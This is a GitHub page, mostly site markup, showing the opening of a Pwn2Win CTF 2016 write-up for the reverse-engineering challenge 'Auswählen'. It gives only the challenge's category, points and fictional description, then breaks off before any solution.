<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-lg d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" class="octicon octicon-mark-github text-white" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> epicleet / write-ups-2016
</div>
<div class="d-flex flex-items-center"> Sign up
<button class="btn-link d-lg-none mt-1 js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars text-white" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"></path></svg> </button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom bg-gray-light p-3"> <button class="btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-x text-gray" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded-1 bg-white px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Code review Project management Integrations Actions Packages Security Team management Hosting
Customer stories <span>→</span> Security <span>→</span> </div> </details> Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn & contribute</h4> Topics Collections Trending Learning Lab Open source guides
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> Events Community forum GitHub Education </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans Contact Sales
Nonprofit <span>→</span> Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex mb-3 mb-lg-0"> <div class="header-search flex-self-stretch flex-lg-self-auto mr-0 mr-lg-3 mb-3 mb-lg-0 scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="54845624" data-scoped-search-url="/epicleet/write-ups-2016/search" data-unscoped-search-url="/search" action="/epicleet/write-ups-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="tjQGypzhqz17JX1RGTF4YTMpRYsJ7IE8rJRs+/Fi03IoaAl2DZS5tSCdpEWDUQ+1ArmmC+MDNvSS9SeqNQ5nOw==" /> <input type="hidden" class="js-site-search-type-field" name="type" >
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
Sign in Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full js-flash-template-container"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="js-flash-template-message"></div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main >
<div class="pagehead repohead hx_repohead readability-menu bg-gray-light pb-0 pt-0 pt-lg-3">
<div class="d-flex container-lg mb-4 p-responsive d-none d-lg-flex">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class="public d-flex flex-wrap flex-items-center break-word float-none "> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> <span> epicleet </span> <span>/</span> write-ups-2016 </h1>
<span> <span>forked from ctfs/write-ups-2016</span> </span>
</div>
<svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"></path></svg> Watch 2
<svg height="16" class="octicon octicon-star v-align-text-bottom" vertical_align="text_bottom" viewBox="0 0 14 16" version="1.1" width="14" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"></path></svg>
Star 19
<svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> Fork 535
</div> <nav class="hx_reponav reponav js-repo-nav js-sidenav-container-pjax clearfix container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container">
<span> <div class="d-inline"><svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"></path></svg></div> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0010 15a1.993 1.993 0 001-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 00-1 3.72v6.56A1.993 1.993 0 002 15a1.993 1.993 0 001-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg></div> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-play" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 8A7 7 0 110 8a7 7 0 0114 0zm-8.223 3.482l4.599-3.066a.5.5 0 000-.832L5.777 4.518A.5.5 0 005 4.934v6.132a.5.5 0 00.777.416z"></path></svg></div> Actions </span>
<div class="d-inline"><svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg></div> Projects <span>0</span>
<div class="d-inline"><svg class="octicon octicon-shield" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 2l7-2 7 2v6.02C14 12.69 8.69 16 7 16c-1.69 0-7-3.31-7-7.98V2zm1 .75L7 1l6 1.75v5.268C13 12.104 8.449 15 7 15c-1.449 0-6-2.896-6-6.982V2.75zm1 .75L7 2v12c-1.207 0-5-2.482-5-5.985V3.5z"></path></svg></div> Security <div class="d-inline"><svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"></path></svg></div> Insights
</nav>
<div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList">
<span> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <span>Projects</span> <span>0</span> <meta itemprop="position" content="5"> </span>
<span> <span>Actions</span> <meta itemprop="position" content="6"> </span>
<span>Security</span> <meta itemprop="position" content="8"> Pulse
</nav></div>
</div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="container-lg clearfix new-discussion-timeline p-responsive"> <div class="repository-content ">
Permalink
<div class="signup-prompt-bg rounded-1 js-signup-prompt" data-prompt="signup" hidden> <div class="signup-prompt p-4 text-center mb-4 rounded-1"> <div class="position-relative"> <button type="button" class="position-absolute top-0 right-0 btn-link link-gray js-signup-prompt-button" data-ga-click="(Logged out) Sign up prompt, clicked Dismiss, text:dismiss"> Dismiss </button> <h3 class="pt-2">Join GitHub today</h3> GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up </div> </div> </div>
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
<div class="d-flex flex-items-start flex-shrink-0 flex-column flex-md-row pb-3"> <span> <details class="details-reset details-overlay branch-select-menu " id="branch-select-menu"> <summary class="btn css-truncate btn-sm" data-hotkey="w" title="pwn2win-ctf-2016"> Branch: <span>pwn2win-ctf-20…</span> <span></span> </summary>
<details-menu class="SelectMenu SelectMenu--hasFilter" src="/epicleet/write-ups-2016/refs/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/Auswahlen-120/README.md?source_action=show&source_controller=blob" preload> <div class="SelectMenu-modal"> <include-fragment class="SelectMenu-loading" aria-label="Menu is loading"> <svg class="octicon octicon-octoface anim-pulse" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M14.7 5.34c.13-.32.55-1.59-.13-3.31 0 0-1.05-.33-3.44 1.3-1-.28-2.07-.32-3.13-.32s-2.13.04-3.13.32c-2.39-1.64-3.44-1.3-3.44-1.3-.68 1.72-.26 2.99-.13 3.31C.49 6.21 0 7.33 0 8.69 0 13.84 3.33 15 7.98 15S16 13.84 16 8.69c0-1.36-.49-2.48-1.3-3.35zM8 14.02c-3.3 0-5.98-.15-5.98-3.35 0-.76.38-1.48 1.02-2.07 1.07-.98 2.9-.46 4.96-.46 2.07 0 3.88-.52 4.96.46.65.59 1.02 1.3 1.02 2.07 0 3.19-2.68 3.35-5.98 3.35zM5.49 9.01c-.66 0-1.2.8-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.54-1.78-1.2-1.78zm5.02 0c-.66 0-1.2.79-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.53-1.78-1.2-1.78z"></path></svg> </include-fragment> </div> </details-menu></details>
<div class="BtnGroup flex-shrink-0 d-md-none"> Find file <clipboard-copy value="pwn2win-ctf-2016/reverse/Auswahlen-120/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </span> <h2 id="blob-path" class="breadcrumb flex-auto min-width-0 text-normal flex-md-self-center ml-md-2 mr-md-3 my-2 my-md-0"> <span><span><span>write-ups-2016</span></span></span><span>/</span><span><span>pwn2win-ctf-2016</span></span><span>/</span><span><span>reverse</span></span><span>/</span><span><span>Auswahlen-120</span></span><span>/</span>README.md </h2>
<div class="BtnGroup flex-shrink-0 d-none d-md-inline-block"> Find file <clipboard-copy value="pwn2win-ctf-2016/reverse/Auswahlen-120/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </div>
<include-fragment src="/epicleet/write-ups-2016/contributors/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/Auswahlen-120/README.md" class="Box Box--condensed commit-loader"> <div class="Box-body bg-blue-light f6"> Fetching contributors… </div>
<div class="Box-body d-flex flex-items-center" > <span>Cannot retrieve contributors at this time</span> </div></include-fragment>
<div class="Box mt-3 position-relative "> <div class="Box-header py-2 d-flex flex-column flex-shrink-0 flex-md-row flex-md-items-center"> <div class="text-mono f6 flex-auto pr-3 flex-order-2 flex-md-order-1 mt-2 mt-md-0">
55 lines (40 sloc) <span></span> 2.66 KB </div>
<div class="d-flex py-1 py-md-0 flex-auto flex-order-1 flex-md-order-2 flex-sm-grow-0 flex-justify-between">
<div class="BtnGroup"> Raw Blame History </div>
<div> <svg class="octicon octicon-device-desktop" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"></path></svg>
<button type="button" class="btn-octicon disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-pencil" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 011.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"></path></svg> </button> <button type="button" class="btn-octicon btn-octicon-danger disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-trashcan" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"></path></svg> </button> </div> </div></div>
<div id="readme" class="Box-body readme blob js-code-block-container px-5"> <article class="markdown-body entry-content" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Pwn2Win CTF 2016: Auswählen</h1>Category: ReversePoints: 120Solves: 1Description:<blockquote>The Club conducts a rigid and cruel training with their future agents.An exam is applied in which the student needs to stay awaken andconcentrated during 72h looking to a computer screen. Everytime anasterisk appears in the screen, he needs to press the RETURN keywithin one second. The student doesn’t know if he was able to complywith the reaction time required by the exam until the end of those 72h,increasing his anxiety and psychological pressure level. Elapsedthe 72h, the student receives an approval flag if he succeeded.Otherwise, all of its vital life is absorbed by the Club leaders,producing an slow and painful death.</blockquote><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 